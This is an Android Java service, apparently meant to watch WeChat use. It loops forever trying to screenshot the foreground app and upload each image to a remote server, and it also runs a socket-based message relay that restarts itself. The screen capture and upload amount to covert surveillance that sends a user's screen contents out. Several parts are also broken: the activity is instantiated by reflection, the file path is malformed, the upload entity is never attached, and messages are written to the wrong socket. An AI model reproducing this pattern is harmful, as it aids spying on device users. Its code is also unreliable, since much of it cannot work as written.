package com.ljw.weixin.service;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.net.ServerSocket;
import java.net.Socket;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Locale;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

import org.apache.http.HttpResponse;
import org.apache.http.HttpVersion;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.mime.MultipartEntity;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.entity.mime.content.StringBody;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.params.CoreProtocolPNames;
import org.apache.http.util.EntityUtils;

import com.ljw.weixin.Constant;

import android.app.Activity;
import android.app.ActivityManager;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.graphics.Bitmap;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.Vibrator;
import android.view.View;


public class DetectWeixinMsgService extends Service
{
	public Handler mHandler = new Handler()
	{
		public void handleMessage(Message msg)
		{
			switch(msg.what) {
			
			}
			super.handleMessage(msg);
		}
	};
	@Override
	public IBinder onBind(Intent intent) 
	{
		return null;
	}
	
	public void onCreate()
	{
		super.onCreate();
		System.out.println("Service is Created");
	}
	public int onStartCommand(Intent intent, int flags, int startId)
	{
		System.out.println("Service is Started");
		/**
		 * 截取当前屏幕
		 * @see http://xzpeter.org/?p=229
		 * @see 使用android 系统自带的方法去截图 http://www.oschina.net/code/explore/android-4.0.1/packages/SystemUI/src/com/android/systemui/screenshot/TakeScreenshotService.java
		 */
		Thread captureThread = new Thread(new Runnable() {
			@Override
			public void run() {
				while(true) {
					try {
						SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd_HH-mm-ss", Locale.CHINESE);
						String fname = "/sdcard" + sdf.format(new Date()) + ".png";
						/**
						 * 获取当前活动的activity
						 * @see http://stackoverflow.com/questions/3873659/android-how-can-i-get-the-current-foreground-activity-from-a-service
						 * @see http://stackoverflow.com/questions/4486034/get-root-view-from-current-activity
						 */
						ActivityManager am = (ActivityManager)getSystemService(ACTIVITY_SERVICE);
						List<ActivityManager.RunningTaskInfo>  taskInfo = am.getRunningTasks(1);
						ComponentName componentInfo = taskInfo.get(0).topActivity;
						//暂时用反射吧
						Activity currentActivity = (Activity)(Class.forName(componentInfo.getClassName()).newInstance());
						View currentView = currentActivity.getWindow().getDecorView();
						currentView.setDrawingCacheEnabled(true);
						currentView.buildDrawingCache();
						Bitmap bitmap = currentView.getDrawingCache();
						if(bitmap != null) {
							System.out.println("bitmap got!");
							FileOutputStream  out = new FileOutputStream(fname);
							bitmap.compress(Bitmap.CompressFormat.PNG, 100, out);
							System.out.println("file " + fname + "output done.");
						}
						//调用httpclient 去上传图片
						HttpClient httpclient = new DefaultHttpClient();
						httpclient.getParams().setParameter(CoreProtocolPNames.PROTOCOL_VERSION, HttpVersion.HTTP_1_1);
						
						HttpPost httppost = new HttpPost(Constant.uploadImgUrl);
						
						File file = new File(fname);
						
						MultipartEntity entity = new MultipartEntity();
						entity.addPart("name", new StringBody("lijianwei"));
						entity.addPart("file", new FileBody(file));
						
						HttpResponse response = httpclient.execute(httppost);
						int statusCode = response.getStatusLine().getStatusCode();
						if(statusCode == 200) {
							String respStr = EntityUtils.toString(response.getEntity());
						}
			
						Thread.sleep(60);
					} catch (InterruptedException e) {
						e.printStackTrace();
					} catch (InstantiationException e) {
						e.printStackTrace();
					} catch (IllegalAccessException e) {
						e.printStackTrace();
					} catch (ClassNotFoundException e) {
						e.printStackTrace();
					} catch (FileNotFoundException e) {
						e.printStackTrace();
					} catch (UnsupportedEncodingException e) {
						e.printStackTrace();
					} catch (ClientProtocolException e) {
						e.printStackTrace();
					} catch (IOException e) {
						e.printStackTrace();
					}
				}
			}
		});
		captureThread.start();
		
		new ServerSocketListen();
		
		return START_STICKY;
	}
	
	class ServerSocketListen
	{
		private List<Socket> mList = new ArrayList<Socket>();
		private ServerSocket server = null;
		private ExecutorService mExecutorService = null;
		
		public ServerSocketListen()
		{
			try {
				server = new ServerSocket(Constant.PORT);
				mExecutorService = Executors.newCachedThreadPool();
				Socket client = null;
				while(true) {
					client = server.accept();
					mList.add(client);
					mExecutorService.execute(new Service(client));
				}
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
		/**
		 * @seemhttp://blog.csdn.net/wuchuanpingstone/article/details/6617276
		 * @author Administrator
		 *
		 */
		class Service implements Runnable
		{
			private Socket socket;
			private BufferedReader in = null;
			private String msg = "";
			
			
			public Service(Socket socket)
			{
				this.socket = socket;
				try {
					in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
					msg = "user" + this.socket.getInetAddress() + "come total:" + mList.size();
					this.sendmsg();
				} catch (IOException e) {
					e.printStackTrace();
				}
			}
			@Override
			public void run() {
				while (true) {
					try {
						if ((msg = in.readLine()) != null) {
							if (msg.equals("exit")) {
								System.out.println("ssssssss");
								mList.remove(socket);
								in.close();
								msg = "user:" + socket.getInetAddress()
										+ "exit total:" + mList.size();
								socket.close();
								this.sendmsg();
								break;
							} else {
								msg = socket.getInetAddress() + ":" + msg;
								this.sendmsg();
							}
						}
					} catch (IOException e) {
						e.printStackTrace();
					}
				}
			}
			public void sendmsg()
			{
				int num = mList.size();
				for(int index = 0; index < num; index++) {
					Socket mSocket = mList.get(index);
					PrintWriter pout = null;
					try {
						pout = new PrintWriter(new BufferedWriter((new OutputStreamWriter(socket.getOutputStream()))), true);
						pout.println(msg);
					} catch (IOException e) {
						e.printStackTrace();
					}
				}
				
			}
			
		}
	}
	
	//震动
	protected void startVibrator()
	{
		Vibrator vibrator = (Vibrator) getSystemService(Context.VIBRATOR_SERVICE);
		vibrator.vibrate(1000);  // 1s
	}

	public void onDestroy()
	{
		super.onDestroy();
		System.out.println("Service is Destroy");
	}
}
